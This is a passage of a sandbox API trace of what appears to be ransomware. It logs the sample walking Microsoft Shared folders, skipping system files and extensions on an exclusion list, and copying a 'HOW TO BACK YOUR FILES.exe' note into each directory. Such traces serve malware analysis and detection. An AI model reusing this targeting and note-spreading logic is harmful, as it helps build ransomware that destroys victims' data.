	[0074.764] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x44a2b0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a2b0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.764] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.764] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.764] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.764] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.764] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a2b0f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a2b0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.764] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.764] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="Apollon865.txt.exe") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2=".") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="..") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="windows") returned -1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="bootmgr") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="temp") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="pagefile.sys") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="boot") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="ids.txt") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="ntuser.dat") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="perflogs") returned 1
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2="MSBuild") returned 1
	[0074.765] lstrlenW (lpString="VGX.dll") returned 7
	[0074.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*") returned 52
	[0074.765] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="VGX.dll" | out: lpString1="VGX.dll") returned="VGX.dll"
	[0074.765] lstrlenW (lpString="VGX.dll") returned 7
	[0074.765] lstrlenW (lpString="Apollon865") returned 10
	[0074.765] lstrlenW (lpString=".dll") returned 4
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2=".dll") returned 1
	[0074.765] lstrlenW (lpString=".lnk") returned 4
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2=".lnk") returned 1
	[0074.765] lstrlenW (lpString=".ini") returned 4
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2=".ini") returned 1
	[0074.765] lstrlenW (lpString=".sys") returned 4
	[0074.765] lstrcmpiW (lpString1="VGX.dll", lpString2=".sys") returned 1
	[0074.765] lstrlenW (lpString="VGX.dll") returned 7
	[0074.765] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VC"
	[0074.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff18 | out: hHeap=0x580000) returned 1
	[0074.766] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0074.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC") returned 49
	[0074.766] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VC"
	[0074.766] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.766] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.770] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x44a2b0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a2b0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.771] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.771] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.771] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.771] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x44a2b0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a2b0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.771] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.771] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.771] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.771] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.771] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a2b0f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a2b0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.771] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.771] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="Apollon865.txt.exe") returned 1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2=".") returned 1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="..") returned 1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="windows") returned -1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="bootmgr") returned 1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="temp") returned -1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="pagefile.sys") returned -1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="boot") returned 1
	[0074.771] lstrcmpiW (lpString1="msdia100.dll", lpString2="ids.txt") returned 1
	[0074.772] lstrcmpiW (lpString1="msdia100.dll", lpString2="ntuser.dat") returned -1
	[0074.772] lstrcmpiW (lpString1="msdia100.dll", lpString2="perflogs") returned -1
	[0074.772] lstrcmpiW (lpString1="msdia100.dll", lpString2="MSBuild") returned 1
	[0074.772] lstrlenW (lpString="msdia100.dll") returned 12
	[0074.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*") returned 51
	[0074.772] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="msdia100.dll" | out: lpString1="msdia100.dll") returned="msdia100.dll"
	[0074.772] lstrlenW (lpString="msdia100.dll") returned 12
	[0074.772] lstrlenW (lpString="Apollon865") returned 10
	[0074.772] lstrcmpiW (lpString1="dia100.dll", lpString2="Apollon865") returned 1
	[0074.772] lstrlenW (lpString=".dll") returned 4
	[0074.772] lstrcmpiW (lpString1="msdia100.dll", lpString2=".dll") returned 1
	[0074.772] lstrlenW (lpString=".lnk") returned 4
	[0074.772] lstrcmpiW (lpString1="msdia100.dll", lpString2=".lnk") returned 1
	[0074.772] lstrlenW (lpString=".ini") returned 4
	[0074.772] lstrcmpiW (lpString1="msdia100.dll", lpString2=".ini") returned 1
	[0074.772] lstrlenW (lpString=".sys") returned 4
	[0074.772] lstrcmpiW (lpString1="msdia100.dll", lpString2=".sys") returned 1
	[0074.772] lstrlenW (lpString="msdia100.dll") returned 12
	[0074.772] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="msdia90.dll" | out: lpString1="msdia90.dll") returned="msdia90.dll"
	[0074.772] lstrlenW (lpString="msdia90.dll") returned 11
	[0074.772] lstrlenW (lpString="Apollon865") returned 10
	[0074.772] lstrcmpiW (lpString1="sdia90.dll", lpString2="Apollon865") returned 1
	[0074.772] lstrlenW (lpString=".dll") returned 4
	[0074.772] lstrcmpiW (lpString1="msdia90.dll", lpString2=".dll") returned 1
	[0074.772] lstrlenW (lpString=".lnk") returned 4
	[0074.772] lstrcmpiW (lpString1="msdia90.dll", lpString2=".lnk") returned 1
	[0074.772] lstrlenW (lpString=".ini") returned 4
	[0074.772] lstrcmpiW (lpString1="msdia90.dll", lpString2=".ini") returned 1
	[0074.772] lstrlenW (lpString=".sys") returned 4
	[0074.772] lstrcmpiW (lpString1="msdia90.dll", lpString2=".sys") returned 1
	[0074.772] lstrlenW (lpString="msdia90.dll") returned 11
	[0074.773] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA"
	[0074.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afea8 | out: hHeap=0x580000) returned 1
	[0074.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0074.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA") returned 50
	[0074.773] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA"
	[0074.773] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.773] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.777] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44a51250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a51250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.778] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.778] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.778] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.778] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44a51250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a51250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.778] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.778] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.778] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.778] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.778] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a51250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a51250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.778] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.778] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="Apollon865.txt.exe") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2=".") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="..") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="windows") returned -1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="bootmgr") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="temp") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="pagefile.sys") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="boot") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="ids.txt") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="ntuser.dat") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="perflogs") returned 1
	[0074.778] lstrcmpiW (lpString1="VBA7", lpString2="MSBuild") returned 1
	[0074.778] lstrlenW (lpString="VBA7") returned 4
	[0074.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*") returned 52
	[0074.778] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="VBA7" | out: lpString1="VBA7") returned="VBA7"
	[0074.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0074.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59ad58
	[0074.779] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0074.779] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0
	[0074.779] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0074.779] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0074.779] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7"
	[0074.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ad58 | out: hHeap=0x580000) returned 1
	[0074.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0074.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7") returned 55
	[0074.779] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7"
	[0074.779] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.779] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.783] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44a51250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a51250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.783] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.783] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.783] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.783] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44a51250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a51250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.783] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.783] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.783] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.783] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.783] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0074.783] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.783] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0074.783] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0074.783] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0074.783] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0074.784] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0074.784] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0074.784] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0074.784] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0074.784] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0074.784] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0074.784] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0074.784] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0074.784] lstrlenW (lpString="1033") returned 4
	[0074.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*") returned 57
	[0074.784] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0074.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0074.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0074.784] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0074.784] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a51250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44a51250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.784] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.784] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2=".") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="..") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="windows") returned -1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="bootmgr") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="temp") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="pagefile.sys") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="boot") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="ids.txt") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="ntuser.dat") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="perflogs") returned 1
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2="MSBuild") returned 1
	[0074.784] lstrlenW (lpString="VBE7.DLL") returned 8
	[0074.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033") returned 60
	[0074.784] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="VBE7.DLL" | out: lpString1="VBE7.DLL") returned="VBE7.DLL"
	[0074.784] lstrlenW (lpString="VBE7.DLL") returned 8
	[0074.784] lstrlenW (lpString="Apollon865") returned 10
	[0074.784] lstrlenW (lpString=".dll") returned 4
	[0074.784] lstrcmpiW (lpString1="VBE7.DLL", lpString2=".dll") returned 1
	[0074.785] lstrlenW (lpString=".lnk") returned 4
	[0074.785] lstrcmpiW (lpString1="VBE7.DLL", lpString2=".lnk") returned 1
